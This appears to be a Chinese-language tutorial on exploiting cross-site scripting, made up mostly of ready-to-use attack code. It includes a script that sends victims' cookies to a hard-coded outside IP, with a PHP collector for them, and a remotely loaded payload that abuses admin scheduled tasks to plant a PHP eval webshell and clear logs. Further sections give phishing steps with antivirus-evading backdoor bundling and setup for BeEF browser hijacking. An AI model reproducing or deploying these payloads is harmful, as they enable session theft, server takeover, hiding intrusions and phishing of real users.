演示案例:
- XSS跨站-攻击利用-凭据盗取
- XSS跨站-攻击利用-数据提交
- XSS跨站-攻击利用-网络钓鱼
- XSS跨站-攻击利用-溯源综合
漏洞原理:接受输入数据,输出显示数据后解析执行`
`基础类型:反射(非持续),存储(持续),DOM-BASE`
`拓展类型:jquery,mxss,uxss,pdfxss,flashxss,上传xss等`
`常用标签:https://www.freebuf.com/articles/web/340080.html`
`攻击利用:盲打,COOKIE盗取,凭据窃取,页面劫持,网络钓鱼,权限维持等`
`安全修复:字符过滤,实例化编码,http_only,CSP防护,WAF拦截等`
`测试流程:看输出想输入在哪里,更改输入代码看执行(标签,过滤决定)`
`#XSS跨站-攻击利用-凭据盗取`
`条件:无防护Cookie凭据获取`
`利用:XSS平台或手写接受代码`
`触发:<script>var url='http://47.94.236.117/getcookie.php?u='+window.location.href+'&c='+document.cookie;document.write("<img src="+url+" />");</script>`
`接受:`
`<?php`
`$url=$_GET['u'];`
`$cookie=$_GET['c'];`
`$fp =` `fopen('cookie.txt',"a");`
`fwrite($fp,$url."|".$cookie."\n");`
`fclose($fp);`
`?>`
`#XSS跨站-攻击利用-数据提交`
`条件:熟悉后台业务功能数据包,利用JS写一个模拟提交`
`利用:凭据获取不到或有防护无法利用凭据进入时执行其他`
`<script src="http://xx.xxx.xxx/poc.js"></script>`
`function` `poc(){`
` $.get('/service/app/tasks.php?type=task_list',{},function(data){`
`var id=data.data[0].ID;`
` $.post('/service/app/tasks.php?type=exec_task',{`
` tid:id`
`},function(res2){`
` $.post('/service/app/log.php?type=clearlog',{`
`},function(res3){},"json");`
`},"json");`
`},"json");`
`}`
`function` `save(){`
`var data=new` `Object();`
` data.task_id="";`
` data.title="test";`
` data.exec_cycle="1";`
` data.week="1";`
` data.day="3";`
` data.hour="14";`
` data.minute =` `"20";`
` data.shell='echo "<?php @eval($_POST[123]);?>" >C:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';`
` $.post('/service/app/tasks.php?type=save_shell',data,function(res){`
`poc();`
`},'json');`
`}`
`save();`
`#XSS跨站-攻击利用-网络钓鱼`
`1、部署可访问的钓鱼页面并修改`
`2、植入XSS代码等待受害者触发`
`3、将后门及正常文件捆绑打包免杀`
`https://github.com/r00tSe7en/Fake-flash.cn`
`#XSS跨站-攻击利用-溯源综合`
`1、XSS数据平台-XSSReceiver`
`简单配置即可使用,无需数据库,无需其他组件支持`
`搭建:https://github.com/epoch99/BlueLotus_XSSReceiver-master`
`2、浏览器控制框架-beef-xss`
`只需执行JS文件,即可实现对当前浏览器的控制,可配合各类手法利用`
`搭建:docker run --rm -p 3000:3000 janes/beef`
`